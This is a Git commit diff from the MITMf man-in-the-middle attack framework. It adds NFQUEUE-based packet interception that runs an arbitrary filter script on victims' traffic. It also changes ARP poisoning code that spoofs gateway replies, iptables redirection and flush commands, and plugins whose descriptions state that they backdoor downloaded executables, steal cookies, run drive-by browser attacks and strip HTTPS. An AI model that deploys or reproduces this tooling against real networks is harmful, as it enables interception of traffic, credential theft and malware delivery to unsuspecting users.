mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
This commit adds active packet filtering/modification to the framework (replicates etterfilter functionality)
by using netfilterqueue, you can pass a filter using the new -F option, (will be adding an example later) additionaly removed some deprecated attributes and the --manual-iptables option
This commit is contained in:
parent
0add358a57
commit
7ec9f7b395
17 changed files with 99 additions and 53 deletions
14
README.md
14
README.md
|
@ -1,6 +1,6 @@
|
|||

|
||||

|
||||

|
||||

|
||||
|
||||
#MITMf
|
||||
|
||||
|
@ -56,22 +56,18 @@ How to install on Kali
|
|||
|
||||
Installation
|
||||
============
|
||||
If you're rocking Kali and want the latest version:
|
||||
- Clone this repository
|
||||
- Run the ```kali_setup.sh``` script (**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**)
|
||||
|
||||
If you're rocking any other Linux distro:
|
||||
- Clone this repository
|
||||
- Run the ```other_setup.sh``` script
|
||||
- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies
|
||||
- Run the ```setup.sh``` script
|
||||
- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies
|
||||
|
||||
FAQ
|
||||
===
|
||||
- **Is Windows supported?**
|
||||
- No, it will never be supported (so don't ask).
|
||||
- Nope, don't think it will ever be
|
||||
|
||||
- **Is OSX supported?**
|
||||
- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket!
|
||||
- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket!
|
||||
|
||||
- **I can't install package X because of an error!**
|
||||
- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf.
|
||||
|
|
45
core/packetparser.py
Normal file
45
core/packetparser.py
Normal file
|
@ -0,0 +1,45 @@
|
|||
import threading
|
||||
|
||||
from core.utils import set_ip_forwarding, iptables
|
||||
from core.logger import logger
|
||||
from scapy.all import *
|
||||
from traceback import print_exc
|
||||
from netfilterqueue import NetfilterQueue
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("PacketParser", formatter)
|
||||
|
||||
class PacketParser:
|
||||
|
||||
def __init__(self, filter):
|
||||
self.filter = filter
|
||||
|
||||
def start(self):
|
||||
set_ip_forwarding(1)
|
||||
iptables().NFQUEUE()
|
||||
|
||||
self.nfqueue = NetfilterQueue()
|
||||
self.nfqueue.bind(1, self.modify)
|
||||
|
||||
t = threading.Thread(name='packetparser', target=self.nfqueue.run)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def modify(self, pkt):
|
||||
#log.debug("Got packet")
|
||||
data = pkt.get_payload()
|
||||
packet = IP(data)
|
||||
|
||||
try:
|
||||
execfile(self.filter)
|
||||
except Exception:
|
||||
log.debug("Error occurred in filter")
|
||||
print_exc()
|
||||
|
||||
pkt.set_payload(str(packet)) #set the packet content to our modified version
|
||||
pkt.accept() #accept the packet
|
||||
|
||||
def stop(self):
|
||||
self.nfqueue.unbind()
|
||||
set_ip_forwarding(0)
|
||||
iptables().flush()
|
|
@ -175,7 +175,7 @@ class ARPpoisoner:
|
|||
|
||||
try:
|
||||
targetmac = self.arp_cache[targetip] # see if we already resolved that address
|
||||
log.debug('{} has already been resolved'.format(targetip))
|
||||
#log.debug('{} has already been resolved'.format(targetip))
|
||||
except KeyError:
|
||||
#This following replaces getmacbyip(), much faster this way
|
||||
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
|
||||
|
@ -211,7 +211,7 @@ class ARPpoisoner:
|
|||
|
||||
if targetmac is not None:
|
||||
try:
|
||||
log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
|
||||
#log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
|
||||
self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
|
||||
self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
|
||||
except Exception as e:
|
||||
|
|
|
@ -86,6 +86,8 @@ class ClientRequest(Request):
|
|||
del headers['accept-encoding']
|
||||
log.debug("Zapped encoding")
|
||||
|
||||
if self.urlMonitor.caching is False:
|
||||
|
||||
if 'if-none-match' in headers:
|
||||
del headers['if-none-match']
|
||||
|
||||
|
|
|
@ -50,6 +50,7 @@ class URLMonitor:
|
|||
self.faviconReplacement = False
|
||||
self.hsts = False
|
||||
self.app = False
|
||||
self.caching = False
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
|
@ -75,6 +76,9 @@ class URLMonitor:
|
|||
else:
|
||||
return 443
|
||||
|
||||
def setCaching(self, value):
|
||||
self.caching = value
|
||||
|
||||
def addRedirection(self, from_url, to_url):
|
||||
for s in self.redirects:
|
||||
if from_url in s:
|
||||
|
|
|
@ -67,17 +67,20 @@ class iptables:
|
|||
dns = False
|
||||
http = False
|
||||
smb = False
|
||||
nfqueue = False
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def Flush(self):
|
||||
def flush(self):
|
||||
log.debug("Flushing iptables")
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
self.dns = False
|
||||
self.http = False
|
||||
self.smb = False
|
||||
self.nfqueue = False
|
||||
|
||||
def HTTP(self, http_redir_port):
|
||||
log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
||||
|
@ -93,3 +96,8 @@ class iptables:
|
|||
log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
|
||||
self.smb = True
|
||||
|
||||
def NFQUEUE(self):
|
||||
log.debug("Setting iptables NFQUEUE rule")
|
||||
os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1')
|
||||
self.nfqueue = True
|
||||
|
|
|
@ -1,6 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
git submodule init && git submodule update --recursive
|
||||
apt-get install -y python-capstone python-twisted python-requests python-scapy python-dnspython python-cryptography python-crypto
|
||||
apt-get install -y python-msgpack python-configobj python-pefile python-ipy python-openssl python-pypcap
|
||||
pip install Pillow mitmflib
|
15
mitmf.py
15
mitmf.py
|
@ -54,11 +54,11 @@ sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
|
|||
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
||||
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
|
||||
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
|
||||
sgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
||||
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
|
||||
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
|
||||
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
|
||||
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
|
||||
sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic')
|
||||
|
||||
#Initialize plugins and pass them the parser NameSpace object
|
||||
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]
|
||||
|
@ -93,7 +93,6 @@ reactor.listenTCP(options.listen_port, strippingFactory)
|
|||
|
||||
ProxyPlugins().all_plugins = plugins
|
||||
|
||||
#All our options should be loaded now, start initializing the plugins
|
||||
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
|
||||
for plugin in plugins:
|
||||
|
||||
|
@ -122,6 +121,13 @@ print "|_ Sergio-Proxy v0.2.1 online"
|
|||
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
|
||||
print "|"
|
||||
|
||||
if options.filter:
|
||||
from core.packetparser import PacketParser
|
||||
pparser = PacketParser(options.filter)
|
||||
pparser.start()
|
||||
print "|_ PacketParser online"
|
||||
print "| |_ Applying filter {} to incoming packets".format(options.filter)
|
||||
|
||||
#Start mitmf-api
|
||||
from core.mitmfapi import mitmfapi
|
||||
print "|_ MITMf-API online"
|
||||
|
@ -149,6 +155,9 @@ print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode
|
|||
|
||||
#start the reactor
|
||||
reactor.run()
|
||||
|
||||
print "\n"
|
||||
|
||||
if options.filter:
|
||||
pparser.stop()
|
||||
|
||||
shutdown()
|
|
@ -29,7 +29,6 @@ class AppCachePlugin(Plugin):
|
|||
optname = "appoison"
|
||||
desc = "Performs App Cache Poisoning attacks"
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
|
|
@ -30,7 +30,6 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
|||
optname = "browsersniper"
|
||||
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
|
||||
version = "0.4"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
|
|
@ -30,7 +30,6 @@ class FerretNG(Plugin):
|
|||
optname = "ferretng"
|
||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
|
|
@ -80,7 +80,6 @@ class FilePwn(Plugin):
|
|||
desc = "Backdoor executables being sent over http using bdfactory"
|
||||
tree_info = ["BDFProxy v0.3.2 online"]
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
|
|
|
@ -28,7 +28,6 @@ class Responder(Plugin):
|
|||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||
version = "0.2"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
|
|
|
@ -23,12 +23,10 @@ class Spoof(Plugin):
|
|||
optname = "spoof"
|
||||
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
||||
version = "0.6"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.manualiptables = options.manualiptables
|
||||
self.protocol_instances = []
|
||||
|
||||
from core.utils import iptables, shutdown, set_ip_forwarding
|
||||
|
@ -74,7 +72,6 @@ class Spoof(Plugin):
|
|||
from core.servers.dns.DNSchef import DNSChef
|
||||
|
||||
self.tree_info.append('DNS spoofing enabled')
|
||||
if not options.manualiptables:
|
||||
if iptables().dns is False:
|
||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||
|
||||
|
@ -83,7 +80,6 @@ class Spoof(Plugin):
|
|||
|
||||
set_ip_forwarding(1)
|
||||
|
||||
if not options.manualiptables:
|
||||
if iptables().http is False:
|
||||
iptables().HTTP(options.listen_port)
|
||||
|
||||
|
@ -109,7 +105,6 @@ class Spoof(Plugin):
|
|||
if hasattr(protocol, 'stop'):
|
||||
protocol.stop()
|
||||
|
||||
if not self.manualiptables:
|
||||
iptables().Flush()
|
||||
iptables().flush()
|
||||
|
||||
set_ip_forwarding(0)
|
||||
|
|
|
@ -25,17 +25,14 @@ class SSLstripPlus(Plugin):
|
|||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||
version = "0.4"
|
||||
tree_info = ["SSLstrip+ by Leonardo Nve running"]
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.manualiptables = options.manualiptables
|
||||
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
from core.utils import iptables
|
||||
|
||||
if not options.manualiptables:
|
||||
if iptables().dns is False:
|
||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||
|
||||
|
@ -44,6 +41,5 @@ class SSLstripPlus(Plugin):
|
|||
|
||||
def on_shutdown(self):
|
||||
from core.utils import iptables
|
||||
if not self.manualiptables:
|
||||
if iptables().dns is True:
|
||||
iptables().Flush()
|
||||
iptables().flush()
|
||||
|
|
2
requirements.txt
Normal file
2
requirements.txt
Normal file
|
@ -0,0 +1,2 @@
|
|||
git+git://github.com/kti/python-netfilterqueue
|
||||
mitmflib
|
Loading…
Add table
Add a link
Reference in a new issue